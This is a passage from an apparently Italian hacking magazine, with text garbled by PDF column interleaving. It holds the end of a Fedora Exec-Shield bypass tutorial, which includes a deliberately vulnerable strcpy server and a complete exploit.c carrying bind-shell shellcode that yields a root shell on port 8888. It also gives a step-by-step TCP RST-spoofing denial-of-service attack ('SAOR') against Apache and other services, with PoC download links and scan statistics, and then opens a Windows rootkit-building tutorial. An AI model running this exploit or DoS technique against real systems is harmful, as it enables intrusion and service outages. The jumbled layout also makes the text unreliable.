"\x34\x60\xff\x53\x17\x6c\x30\x8a\x34" 0xbfbf11ac: 0xdd 0x88 0x04 0x08 [*]

"\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54" 0xdd 0x88 0x04 0x08 [*]

"\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b" 0xbfbf11b4: 0xdd 0x88 0x04 0x08 [*]

"\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53" 0xdd 0x88 0x04 0x08 [*]

0xbfbf11bc: 0xdd 0x88 0x04 0x08 [*]

La sua dimensione (108 byte) richiederà in seguito 0xdd 0x88 0x04 0x08 [*]

l'aggiunta di altri 152 byte di garbage data (dati 0xbfbf11c4: 0x18 0x85 0x04 0x08 [**]

0xdd 0x88 0x04 0x08 [*]

34
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

0xbfbf11cc: 0x55 0xd0 0x4b 0x00 [***] uid=0(root) gid=0(root)


0xf0 0x11 0xbf 0xbf groups=0(root),1(bin),2(daemon),3(sys),4(adm
),6(disk),10(wheel)
Gli indirizzi contraddistinti da un asterisco sono i
puntatori all'istruzione “ret”, quello con due asterischi è Exec-Shield è stato così bypassato.
l'entry PLT di strcpy() mentre con tre abbiamo
Conclusione
contrassegnato l'indirizzo dell'area di memoria in cui lo
shellcode deve essere copiato. In grassetto è possibile Quello descritto oggi è solo un metodo per bypassare
invece notare l'indirizzo che punta al buffer utente Exec-Shield. Non è come sfruttare un Vanilla Stack
(ovvero all'inizio dello shellcode). Risulta cambiato Overflow ma è ugualmente una tecnica valida. Per fare
rispetto alla precedente sessione di debugging per via pratica con un'applicazione reale compilata su Fedora,
delle funzionalità di Address Space Layout Red Hat Linux o CenOS, potete comunque prendere
Randomization del sistema operativo ma la sua come riferimento la vulnerabilità del Mod_JK descritta
posizione (offset) nello Stack è rimasta uguale. nell'articolo precedente. Anche lì da qualche parte nello
Continuando nell'esecuzione dell'applicazione viene stack troverete un puntatore al buffer utente :)
infine aperta una shell sulla porta TCP 8888:
Per accedere ai contenuti messi a disposizione dalla
$ nc IP_SERVER 8888 redazione visita http://www.segfault.it/SS/001/Exec-
id Shield/metodo_one.tar.gz

Tabella 1: server_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <strings.h>

void handle(char *);


void do_it(char *);

int main(int argc, char *argv[])


{
/*
Puntatore al buffer inviato dall'utente. E' importante per
dimostrare che un attacco tramite shellcode è ancora
possibile pur la presenza di Exec-Shield.
*/
char *pointer;

int fd, newfd, ret, clen;


struct sockaddr_in xab, client;
char mex[1024];

fd = socket(AF_INET, SOCK_STREAM, 0);


if (fd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(60000);
xab.sin_addr.s_addr = ntohl(INADDR_ANY);

35
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

ret = bind(fd, (struct sockaddr *)&xab, sizeof(xab));


if (ret == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}

ret = listen(fd, 5);


if (ret == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}

for (; ;)
{
clen = sizeof(client);
newfd = accept(fd, (struct sockaddr *)&client, &clen);
if (newfd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
read(newfd, mex, sizeof(mex), 0);
pointer = mex;

handle(mex);
memset(&mex, 0, sizeof(mex));
send(newfd, "Thank You!\r\n", 12, 0);
close(newfd);
}
}

void handle(char *mex)


{
/*
Puntatori Inutilizzati. Il loro scopo in questo sorgente
di test è solamente quello di occupare spazio in memoria.
*/
char *a, *b, *c, *d;

do_it(mex);
return;
}

void do_it(char *mex)


{
char request[256];

memset(&request, 0, sizeof(request));
strcpy(request, mex);
printf(">>%s>>\r\n", request);
}

Tabella 2: exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>

36
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

#include <strings.h>
char shellcode[] =
// shellcode 108 byte
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84\x06\x32"
"\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"
"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56"
"\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3\x30\x49\x86\x60\x81\xd2\x45\xbb\x32"
"\x34\x60\xff\x53\x17\x6c\x30\x8a\x34\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54"
"\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"
// 152 byte di A
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAA"

// 6 istruzioni RET
"\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08"
"\xdd\x88\x04\x08\xdd\x88\x04\x08"

// strcpy() PLT
"\x18\x85\x04\x08"

// 1 istruzione RET
"\xdd\x88\x04\x08"

// library address
"\x55\xd0\x4b\x00";

int main(int argc, char *argv[])


{
int fd, ret, l = 0, i = 0;
struct sockaddr_in xab;
char buf[4098];

if (argc != 2)
{
printf("utilizzo %s [Indirizzo_IP]\r\n", argv[0]);
exit(EXIT_FAILURE);
}

fd = socket(AF_INET, SOCK_STREAM, 0);


if (fd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}

memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(60000);
xab.sin_addr.s_addr = inet_addr(argv[1]);

ret = connect(fd, (struct sockaddr *)&xab, sizeof(xab));


if (ret == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
send(fd, shellcode, strlen(shellcode), 0);
close(fd);

printf("[%s]: Controlla la porta TCP 8888 per una shell\r\n", argv[1]);


}

37
look at CROSS PLATFORM SAOR: Attacco al TCP

Introduzione sequenza TCP. Nel caso di SAOR però il tipo di DoS


generato è di differente entità. Il successo dell'attacco
consiste nel blocco momentaneo o nel rallentamento

C
inque anni fa veniva pubblicato nella mailing
list sikurezza.org[1] un messaggio che del servizio colpito, mentre in altri casi può addirittura
descriveva una tecnica di offesa denominata causarne il crash. Questo rende SAOR una valida
dal suo stesso autore SAOR, acronimo di States alternativa ai tradizionali attacchi di massa DDoS
Attack Over RST. A dispetto del poco basati sulla saturazione della banda a disposizione
interessamento mostrato dalla comunità nei confronti dell'host vittima, in quanto l'azione offensiva può
del post (tanto che questa tipologia di attacco può essere condotta in modo preciso su uno specifico
essere considerata ancora oggi inedita al grande servizio, sprecando meno risorse hardware e/o di
pubblico che orbita attorno al panorama rete e risultando quindi in un minore rischio di
internazionale della sicurezza informatica) SAOR individuazione. Se c'è un motivo per il quale
rimane a distanza di così tanto tempo una tecnica che probabilmente questa tecnica non è stata
può rappresentare una minaccia reale di vasta vastamente impiegata fra le botnet di PC zombie,
portata. Riconducibile alla categoria dei DoS/DDoS, questo è da ricercare nelle modalità di pubblicazione
SAOR non è un attacco basato sulla saturazione del post originariamente apparso nel 2002 nella
della banda di rete quanto sull'utilizzo sovversivo del mailing list sikurezza.org, ovvero esclusivamente in
bit di controllo RST dei pacchetti TCP. Il fine è quello lingua italiana e mai tradotto né divulgato in altre
di generare connessioni disallineate, ovvero attive forme o attraverso fonti alternative.
nella tabella dei collegamenti del server ma
contemporaneamente inesistenti presso quella del
client. L'impiego del flag RST non è nuovo a scenari di
offesa perpetrati tramite Internet. Uno studio[2]
rilasciato dal ricercatore Paul Watson nel 2004
descriveva ad esempio come attraverso lo spoofing,
il bit di controllo RST potesse essere utilizzato per
[1] http://www.sikurezza.org/ml/06_02/msg00172.html
distruggere le connessioni intercorse fra due host
senza conoscere preventivamente i numeri di [2] http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc

CLIENT SERVER

CLOSED LISTEN

SYN (100)

SYN_SENT
SYN (300) ACK(101)

SYN_RCV

ACK (301)
ESTABLISHED

ESTABLISHED

Figura 1: TCP Three Way Handshake

38
look at CROSS PLATFORM SAOR: Attacco al TCP

Il 3 Way Handshake ed un Acknowledgement Number, sempre della


dimensione di 32 bit, che equivale al valore di
Per comprendere questa tecnica di attacco è K+1. Questo comportamento indica che il server
necessario fare un passo indietro rispolverando il accetta la connessione e chiede conferma per
modo in cui le connessioni TCP vengono stabilite. Il l'inizio della sessione (cioè lo scambio vero e
preludio, ovvero la sincronizzazione della sessione proprio dei dati) . Il server in questo momento si
prima che il client ed il server possano scambiarsi trova nello stato SYN_RCVD;
reciprocamente i dati, avviene tramite una procedura
definita 3-way handshake e regolata dalla RFC §Il client risponde al server con un pacchetto TCP
793[3] proprio attraverso lo scambio di tre pacchetti attivando il bit di controllo ACK e generando un
(Figura 1) così distribuiti: Acknowledgement Number a 32 bit equivalente al
valore di J+1, concludendo di fatto la fase del 3
§il client invia un pacchetto TCP al server attivando way handshake.
il bit di controllo SYN e generando un numero di
sequenza (Sequenze Number) a 32 bit che qui A questo punto la connessione in entrambi le
definiremo K. Questo pacchetto equivale ad una direzioni è ESTABLISHED (stabilita). In realtà il client
richiesta di connessione. Il client si trova in questo passa dallo stato SYN_SENT allo stato ESTABLISHED
momento nello stato SYN_SENT; già dopo aver ricevuto il secondo pacchetto inviato
durante il preludio alla connessione.
§il server risponde al client con un pacchetto TCP
attivando contemporaneamente i bit di controllo
SYN ed ACK. Il server genera anche un proprio
numero di sequenza a 32 bit che qui definiremo J [3] http://www.faqs.org/rfcs/rfc793.html

32 bits

Source port Destination port


Sequence number
Acknowledgement number
TCP U A P R S F
header R C S S Y I Window size
lenght G K H T N N
Checksum Urgent pointer
Options (0 or more 32-bit words)

Data (optional)

Figura 2: header TCP

39
look at CROSS PLATFORM SAOR: Attacco al TCP

SAOR: l'attacco server, auto-chiudendo così la sua connessione). Il


secondo è il modo in cui avviene il reset del
Un attacco di tipo SAOR ha origine subito dopo che collegamento. Il Sequence Number è infatti uguale
una connessione è stata stabilita. Il client inganna lo all'Acknowledgment Number dell'ultimo pacchetto
stack TCP/IP del suo sistema operativo resettando la inviato dal client al completamento del three way
connessione attraverso il bit di controllo RST, handshake (terzo riferimento in Tabella 1). Anche i
utilizzando la tecnica dello spoofing (Figura 3). Questa numeri che identificano le porte del client e del server
procedura viene ripetuta centinaia o migliaia di volte ed devono naturalmente essere gli stessi affinché la
ha spesso l’effetto di causare il crash, il blocco di un connessione possa essere efficacemente distrutta.
servizio o rallentarne notevolmente le performance.
Per capire cosa accade realmente analizziamo in
Tabella 1 il contenuto di una sessione di esempio
(semplificata per l'occasione) ottenuta mediante
tcpdump[4]. I primi tre pacchetti sono relativi all'inizio ed
al completamento della fase di three way handshake. Il
quarto pacchetto è invece il vero e proprio vettore
dell'attacco. Qui è possibile notare due aspetti di
interesse. Il primo è che la connessione pare essere [4] http://www.tcpdump.org: Analizzatore di rete per Linux basato su
linea di comando che può essere impiegato all'occorrenza anche
stata resettata dal server (in realtà è il client che
come packet sniffer. Un'implementazione per Windows
attraverso la tecnica dello spoofing ha falsificato il denominata Windump è disponibile dal sito
pacchetto in modo da farlo apparire proveniente dal http://www.winpcap.org/windump/

CLIENT SERVER

CLOSED LISTEN

SYN (100)

SYN_SENT
SYN (300) ACK(101)

SYN_RCV

ACK (301)
ESTABLISHED

ESTABLISHED

RST (301)

Figura 3: Vettore di un attacco SAOR (RST Packet)

40
look at CROSS PLATFORM SAOR: Attacco al TCP

TABELLA 1: sessione ricavata con il comando tcpdump -n-S port 80

Pacchetto 1: client.48550 > server.http: S 2118170236:2118170236(0) win 5840

Pacchetto 2: server.http > client.48550: S 59907385:59907385(0) ack 2118170237

Pacchetto 3: client.48550 > server.it.http: . ack 59907386 win 183

Pacchetto 4: server.http > client.48550: R 59907386:59907386(0) win 0

Legenda

S = SYN
. = nessun dato solo ACK
R = RST

Case Study: Apache 1.3.x e 2.0.x Ciò significa che nessuna nuova richiesta può essere
servita da Apache per i successivi 5 minuti
Tra i servizi che maggiormente si prestano ad un dall'attacco. Il DoS può essere ripetuto all'infinito in
attacco di tipo SAOR vi è HTTP ed in particolare quanto anche disponendo di modeste capacità di
l'implementazione offerta dal Web Server Apache (per banda e di un unico sistema dal quale condurre
il momento prenderemo in esame solo le versioni del l'azione malevola, è possibile allocare in poco tempo
branch 1.3.x e 2.0.x). Sono due le impostazioni che lo molte più connessioni fantasma di quante il server
rendono particolarmente soggetto a questa riesca a chiuderne.
problematica:
Un metodo semplice per misurare il Timeout di un web
§Timeout: indica dopo quanti secondi ciascuna server Apache 1.3 o 2.0 è quello di eseguire il
connessione HTTP deve essere terminata; comando:
§Maxclients: indica quante connessioni
contemporanee il web server può gestire; # date; telnet www.nomesito.xx 80; date

Di default, partendo da un'installazione praticata e calcolare la differenza tra i due orari stampati a video
attraverso i sorgenti[5], entrambi le opzioni sono così prima e dopo il termine di esecuzione del telnet.
configurate in httpd.conf:
Ma osserviamo più da vicino un esempio pratico degli
Timeout 300 effetti causati da un attacco di tipo SAOR. Per farlo ci
MaxClients 150 avvarremo di un Proof Of Concept che la redazione di
Security System desidera mettere a disposizione dei
suoi lettori[6].
L'effetto prodotto quando la coda di Apache raggiunge
il limite massimo (MaxClients) di connessioni gestibili
è che il servizio smette di elaborare ogni altra richiesta
aggiuntiva proveniente dai client. In condizioni di [5] http://httpd.apache.org
default quindi un SAOR Attack permette di allocare in
[6] http://www.segfault.it/SS/001/SAOR/saor_listen.tar.gz: Il PoC
pochissimo tempo 150 o più connessioni, ciascuna
può essere compilato su Linux ma i suoi effetti si estendono
delle quali rimane appesa nello stato ESTABLISHED anche a servizi ospitati in altre piattaforme (come Windows ad
per 300 secondi prima di essere terminata dal server. esempio).

41
look at CROSS PLATFORM SAOR: Attacco al TCP

Il codice è inedito e non è mai stato pubblicato in rete, Dall'output si evince che nel server è in atto un
pertanto può essere considerato a tutti gli effetti uno collegamento proveniente da ip_client dalla porta
0day (forse non più a partire da oggi ). Fare riferimento 51979 verso il servizio web locale (porta 80). Questa
al file README all'interno del package prelevabile dal connessione però lato client non esisterà. Ciò significa
sito www.segfault.it per determinare come compilare che il server ha una connessione allocata nello stato
l'applicazione e risolvere le dipendenze necessarie ESTABLISHED che di fatto non esiste. La procedura
(step che non copriremo in questo articolo). Il sorgente qui riprodotta, reiterata svariate volte, permette in
si compone di due parti (SAOR-listen e SAOR- parole povere di allocare presso il server centinaia o
connect). La prima è la componente server. Si migliaia di connessioni fantasma rispetto ad un
occupa essenzialmente di osservare i pacchetti che dispendio di risorse client side praticamente nullo. Ad
fluiscono in rete e determinare se e quando resettare esempio lanciando opportunamente la componente
con il metodo SAOR una connessione. La seconda è SAOR-connect, in poco tempo ip_server sulla porta 80
invece la componente client che si occupa di avviare non sarà più raggiungibile. Quanto più il timeout del
ripetutamente il three way handshake presso la servizio sarà elevato, tanto più l'attacco avrà efficacia.
destinazione ed il servizio vittima (una semplice
connect() ripetuta dentro un ciclo infinito). Un ulteriore aspetto interessante degno di nota è che
l'attacco non produce alcuna indicazione nei file di log
Per lanciare la parte server aprite una finestra di shell e del servizio che permetta all'amministratore di risalire a
digitate: chi lo ha condotto. Raggiunto il limite Maxclients nel
file degli errori del webserver (di default error_log)
# ./SAOR-listen "host ip_server and port 80" l'unico messaggio visibile sarà:
eth0
[Sun Apr 01 17:51:22 2007] [error] server
Gli argomenti specificati indicano a SAOR-listen di reached MaxClients setting, consider raising
resettare tutte le connessioni relative al socket the MaxClients setting
ip_server:80 passanti per l'interfaccia eth0. Facciamo
adesso un test manuale. Lanciamo da locale (ovvero Niente indirizzi IP quindi neanche in access_log in
da dove è stato avviato SAOR-listen) un telnet verso quanto il semplice three way handshake non è
ip_server: sufficiente per generare una entry nei log di Apache se
a seguire non vi è una esplicita richiesta HTTP.
# telnet ip_server 80
Trying ip_server...
Case Study: Apache 2.2.x
Connected to ip_server
Escape character is '^]'.
Connection closed by foreign host. Gli ultimi rilasci stabili del branch 2.2 di Apache
appaiono essere più coriacei rispetto alle edizioni 1.3.x
La prima cosa da notare è che quasi immediatamente e 2.0.x del web server di fronte ad un SAOR Attack. A
la connessione viene chiusa (segno che la partire da questo release infatti il servizio non
componente SAOR-listen sta svolgendo considera stabilito un collegamento fino a quando il
adeguatamente il suo lavoro). Adesso spostiamoci client non invia almeno un byte di dati al server.
momentaneamente sul server e diamo un breve Osserviamo più da vicino cosa succede dopo che il
sguardo alla sua tabella delle connessioni: three way handshake viene portato a termine su
Apache 2.2:
# netstat -an
[...]
ip_server:80 ip_client:51979 ESTABLISHED
42
look at CROSS PLATFORM SAOR: Attacco al TCP

16:05:41.088095 server.80 > client.52346: S handshake, all'arrivo del primo SYN chi attacca
2119450554 ack 256910396 vedrebbe infatti il kernel della propria macchina
16:05:41.088124 client.52346 > server.80: . rispondere con un pacchetto RST, il che farebbe capire
ack 2119450555
al server che la connessione presso il client non esiste,
connessione che a sua volta verrebbe chiusa lato
16:05:47.137328 server.80 > client.52346: S
Apache.
2119450554 ack 256910396
16:05:47.137358 client.52346 > server.80: .
ack 2119450555 Questo non significa però che il branch 2.2 del web
server è immune da attacchi SAOR. Il problema può
16:06:23.186346 server.80 > client.52346: S infatti essere facilmente bypassato inviando, al
2119450554 ack 256910396 completamento del three way handshake, un solo byte
16:06:23.186376 client.52346 > server.80: . di dati e resettando subito dopo la connessione lato
ack 2119450555 client.
[…]
Le modifiche necessarie per rendere utilizzabile anche
Si può notare come il server invii ad intervalli regolari con Apache 2.2.x il codice segnalato nella nota 6 sono
crescenti un pacchetto TCP con flag SYN a cui il client minime (solo un paio di step in più). Lasciamo
risponde ogni volta con un ACK. Un normale attacco comunque al lettore il compito di adattarlo a
SAOR non potrebbe funzionare in questo caso. Se la piacimento!
connessione viene resettata appena dopo il three way

QUALCHE DATO STATISTICO

Noi dello staff di Security System abbiamo voluto sondare in prima persona l'attuale livello di diffusione delle tre
ultime versioni di Apache, testando 46.670 web server in rete. Dai risultati emerge che ancora una grande
quantità di sistemi fa largo uso dei branch 1.3.x e 2.0.x, a dispetto di un maggior livello di protezione offerto
dall'edizione 2.2.x, più resistente ad attacchi di tipo SAOR ma non completamente immune a questa tecnica di
offesa:

7,14%
Apache 1,3,x
(27.257)

Apache 2.0x
(16081)
34,46% 58,40%
Apache 2.2.x
(3332)

43
look at CROSS PLATFORM SAOR: Attacco al TCP

Un altro rilievo interessante proviene dal tempo di Timeout medio che deve trascorrere prima che il web server
Apache scarti una connessione nulla (ovvero nella quale, dopo il termine del three way handshake, non viene
più scambiato alcun dato). In quest'altro caso emerge che è ancora molto alta in rete la percentuale di web
server che hanno un timeout di 5 minuti o compreso nell'intervallo 1-3 minuti e che sono quindi particolarmente
esposti ad un attacco SAOR :

5 minuti
14,28%

tra 1 e 3 minuti
47,60%

38,12% meno di 60
secondi

Con Timeout superiori o uguali al minuto in genere è sufficiente lanciare un SAOR Attack da un unico
sistema per riuscire a bloccare o rallentare considerevolmente un web server Apache.

E gli altri servizi? servizi (nello specifico SMTP, SSH, FTP e POP3)
abbiamo deciso di testare il loro grado di resistenza ad
HTTP è un servizio che si presta maggiormente ad un attacco di tipo SAOR. Ciò che ne è scaturito sono i
attacchi di tipo SAOR ma non è l'unico esposto a tale risultati delle Tabelle 2 e 3.
minaccia. Quando si parla di questa tecnica dobbiamo
infatti distinguere tra due categorie differenti di Pur non riportato in entrambe queste tabelle, è
servizi/protocolli: quelli che al termine del three way significativo come dai nostri test siamo riusciti a
handshake attendono la richiesta dell'utente e quelli bloccare con successo il servizio di desktop remoto di
che immediatamente dopo inviano al client un banner Windows 2000 ma non quello di Windows Server
identificativo o uno stream di byte service dependent[7]. 2003 (che impone una restrizione sul numero delle
Appartengono ad esempio alla prima categoria oltre ad connessioni fatte da uno specifico indirizzo IP,
HTTP anche RDP (il protocollo che rende possibili le restrizioni non presenti invece nella versione
sessioni di desktop remoto su Windows) ed SMB (il precedente del sistema operativo). Nel caso del
protocollo per le condivisioni di file e stampanti che servizio CIFS (porte 139/445) siamo invece riusciti a
rappresenta una delle parti più importanti che replicare un DoS precludendo la fase di autenticazione
compongono il servizio CIFS) mentre per la seconda remota e di scambio di file su Windows 2000 SP4 e
categoria (indubbiamente più numerosa) si possono Windows XP SP2 (Windows Server 2003 non è stato
menzionare FTP, SMTP, POP3, IMAP, RFB (il testato in questo caso).
protocollo utilizzato dal VNC e dai sistemi derivati),
SSH, etc… [7] Per intenderci il codice dimostrativo indicato nella nota 6
funziona solo contro la prima categoria di servizi. Lasciamo al
lettore il compito di adattarlo in modo che possa funzionare anche
Prendendo come riferimento alcuni fra questi ultimi con i servizi appartenenti alla seconda categoria.

44
look at CROSS PLATFORM SAOR: Attacco al TCP

Fra le implementazioni SMTP, Exim è invece risultato Al contrario di Apache infine le versioni 5.0 e 6.0 di IIS (il
in ogni implementazione testata non vulnerabile. web server presente di default in alcune edizioni di
Stesso discorso per Courier nella categoria dei servizi Microsoft Windows) non sono risultare vulnerabili ad
POP3. un attacco di tipo SAOR.

TABELLA 2

Non Percentuali di vulnerabilità[8] al SAOR Attack


Vulnerabile riscontrate su 45 implementazioni totali dei servizi
Vulnerabile
SMTP 65% 35% SMTP, POP3, FTP ed SSH testati
POP3 63,63% 36,37%
[8] Un servizio viene considerato vulnerabile se un attacco SAOR
FTP 87,50 12,50 riesce a precluderne l'accesso agli utenti per un periodo di tempo
SSH 100% 0% arbitrario o se riesce notevolmente a rallentarne le performance.

TABELLA 3

SMTP POP3 FTP SSH


ProFtpd
Qmail Cubib Circle 1.31 OpenSSH 3.5.1
1.2.8/1.2.9/1.2.10/1.3.10
Postfix TPOP 3D LukeMFTPD 1.2 Beta 1 OpenSSH 3.7.1
Sendmail
Imail 5.0.6 WarFTPD 1.71 OpenSSH 3.8.1
8.12.11/8.12.9
Exchange 2003/
Argosoft 1.8.2 PureFTPD OpenSSH 4.2
Microsoft SMTP 6.0
ArgoSoft 1.8.2.3 Cyrus 2.0.16 OpenSSH 4.2p1
MDaemon
MDaemon 9.5.6 OpenSSH 4.5
7.1.3/8.1.3
Alcuni dei servizi e delle implementazioni software risultati vulnerabili[9] ad un attacco SAOR

[9] Si premette che le medesime versioni di alcuni fra questi


servizi sono risultate talvolta vulnerabili in certi casi e non
vulnerabili in altri. Ciò dipende naturalmente dal modo in cui il
servizio è configurato e dalle misure di hardening effettivamente
implementate per proteggerlo. I dati della tabella devono pertanto
essere considerati in funzione di questo aspetto.

Conclusione

Diversi altri aspetti che per il momento intendiamo lasciamo in sospeso dovrebbero essere discussi su SAOR, aspetti
che ci ripromettiamo di approfondire in un altro numero di Security System. Prima di concludere però vale la pena
spendere qualche parola sulle possibilità di difesa contro la tecnica oggi descritta. Molti servizi da noi testati e risultati
immuni ad un SAOR Attack sferrato da un singolo sistema, si difendono attualmente implementando un limite nelle
connessioni client. Superato questo limite non viene più concesso allo stesso indirizzo IP di comunicare con il
servizio fino a quando le altre connessioni allocate non vengono chiuse. Seppure un buon metodo per proteggersi da
un attacco lanciato da un unico host, ciò non è sufficiente a mettere la parola fine sulla questione, soprattutto in uno
scenario distribuito dove cioè più sistemi collaborano al fine di seppellire il server sotto il carico di migliaia di
collegamenti fantasma. Quale altro metodo secondo voi potrebbe aiutare a risolvere definitivamente il problema?
Segnalateci le vostre idee (ed eventualmente il vostro codice) scrivendo a redazione@segfault.it. Potreste essere
coinvolti in una iniziativa cui daremo maggiore spazio a partire dai prossimi numeri di Security System.
45
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

D
a almeno 11 anni a questa parte[1] uno degli essere gestito da più di un driver, cioè i driver in
strumenti immancabili nella “valigia virtuale” di Windows sono organizzati secondo un modello a
ogni smanettone è il rootkit. Sviluppato con lo strati: ognuno ha il suo ruolo ed entra in gioco in un
scopo di sniffare il traffico di rete, intercettare i tasti momento specifico. Ad esempio la componente che
digitati dagli utenti o sovvertire le normali operazioni del comunica direttamente con l'hardware viene definita
sistema agendo da backdoor (ovvero con l'obiettivo bus driver (diminutivo PDO), mentre quella che
principale di assicurarsi un accesso invisibile e implementa le funzionalità principali viene denominata
reiterato nel tempo) i primi componenti di questo tipo function driver (o utilizzando un diminutivo, FDO).
operavano in user land, andando a sostituire i comuni
file di sistema. L'approccio però si rivelò ben presto
inefficace con l'avvento di tool come Tripwire[2], capaci
di fotografare lo stato del filesystem in un dato
momento e compararlo con uno snapshot successivo
per identificare le applicazioni modificate o gli elementi
estranei aggiunti. L'interesse degli smanettoni
cominciò quindi a spostarsi verso il lato kernel. I [1] Quando l'autore dell'articolo ha iniziato ad interessarsi di
sicurezza informatica nel 1997, era molto praticato al tempo
vantaggi di eseguire il proprio codice a ring 0[3] erano in
l'hacking delle shell finalizzato all'installazione di IRC BNCBot o
passato (e sono ancora oggi nel presente) notevoli. PSYBot, tutte componenti che si cercava di nascondere agli occhi
Anzitutto si ha la possibilità di disporre sempre di indiscreti dell'admin, inizialmente con metodi rudimentali (ad
privilegi superiori a qualsiasi altra applicazione esempio rinominando il file di sistema originale ed al suo posto
eseguita in user land (anche lanciata con permessi utilizzando uno script bash che richiamava l'applicazione regolare e
filtrava l'output prima che venisse visualizzato dall'amministratore
amministrativi), inoltre ci si trova ad operare allo stesso
della macchina), poi via via con delle applicazioni compilate che
livello di tutte le altri componenti kernel, incluse quelle venivano organizzate in veri e propri package, fino a giungere alla
installate dalle comuni applicazioni antivirus ed creazione di moduli kernel.
antispyware, permettendo all'intruso di “guerreggiare”
[2] Di fatto questo genere di strumenti sono in grado di calcolare
ad armi pari con esse. In aggiunta una componente che
l'impronta digitale di ogni file presente nel filesystem con algoritmi di
gira in kernel land non è identificata da un processo in hashing come MD5 o SHA-1, oltre a tenere traccia degli ultimi
esecuzione in memoria visionabile ad esempio con il accessi e delle ultime modifiche.
Task Manager o con strumenti simili, quindi è meno
facilmente rintracciabile. [3] Nell'architettura x86 (ma si tratta di un aspetto più o meno
comune a molte altre piattaforme hardware) il processore fornisce
un meccanismo elementare di divisione dei privilegi attraverso i
Rootkit per Windows ring. Ad esempio Windows e Linux sui sistemi a 32 bit fanno girare le
applicazioni utente a ring 3 (inclusi i programmi lanciati
dall'amministratore) e le componenti kernel (i driver) a ring 0. I ring
Allo stesso modo di Linux e più in generale di Unix, i
in mezzo vengono raramente e comunque quasi mai direttamente
primi rootkit apparsi su Windows operavano utilizzati dal sistema operativo. Il passaggio da un ring meno
principalmente in user land. In questo caso alcune privilegiato ad uno di livello superiore avviene attraverso un call
tecniche di hooking erano addirittura note fin dal gate o nei moderni processori tramite l'istruzione sysenter.
1994[4][5]. Dal 2004 ad oggi però il numero dei kernel
rootkit è cresciuto in modo impressionante fino a [4] “Load Your 32-bit DLL into Another Process's Address Space
Using INJLIB” Microsoft Systems Journal Volume 9 Number 5 (May
giungere ai livelli odierni di totale predominanza. Su
1994).
Windows a girare a ring 0 sono i driver. Non a caso un
kernel rootkit per Windows è essenzialmente un driver [5] Funzioni come SetWindowsHookEx() e
che opera come filtro sulle richieste passanti. Al GetAsyncKeyState()(esportate dalla libreria User32.dll)
contrario però di molti altri sistemi operativi, ogni device possono essere utilizzate fin da Windows 95 ed NT 3.1 per
progettare componenti malware come keylogger.
(ovvero dispositivo fisico) in ambiente Microsoft può

46
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

Esiste però una terza categoria di driver che è meno Quali strumenti sono necessari per iniziare a creare
nota ma indubbiamente più interessante dal punto di un rootkit?
vista della sicurezza, il Filter Driver. Il Windows Driver Kit (in passato Driver
Development Kit) è un package rilasciato
gratuitamente da Microsoft che contiene tutti gli
Gerarchicamente parlando, per ciascun dispositivo
strumenti e la documentazione utili per la creazione di
fisico del sistema, il PDO è l'elemento collocato più in
un ambiente di sviluppo e test di driver per Windows.
basso, seguito dall'FDO e quindi dagli eventuali Filter Per prelevare il kit nel momento in cui si scrive è
Driver[6]. Quando si verifica un evento o una richiesta di necessario loggarsi (o preventivamente registrarsi) con
interazione con l'hardware in questione, questo u n a c c o u n t p a s s p o r t a l s i t o
evento/richiesta viene prima visto dalla componente http://connect.microsoft.com/.
filtro, quindi dall'FDO e poi dal bus driver (il PDO),
ovvero l'elemento più astrattamente vicino First Steps
all'hardware. Una volta soddisfatta, la richiesta/evento
fa il percorso inverso (PDO->FDO->FIlter Driver). Come già detto un filter driver opera mediante un hook.
Questo “aggancio” avviene in modo trasparente,
Se quindi lo scopo legittimo di un filter driver è quello di ovvero i driver di livello inferiore non sono allertati della
“agganciarsi” allo stack delle componenti kernel che presenza del filtro che può così agire in totale libertà per
gestiscono un dispositivo hardware filtrando le nascondere/modificare dati o semplicemente per
interazioni in ingresso/uscita (ad esempio per intercettarli in modo silenzioso. Tali dati vengono
implementare una nuova funzionalità o risolvere un scambiati per mezzo degli IRP (I/O Request Packet),
bug nel function driver senza dover necessariamente una struttura allocata dall'I/O Manager di Windows[8]
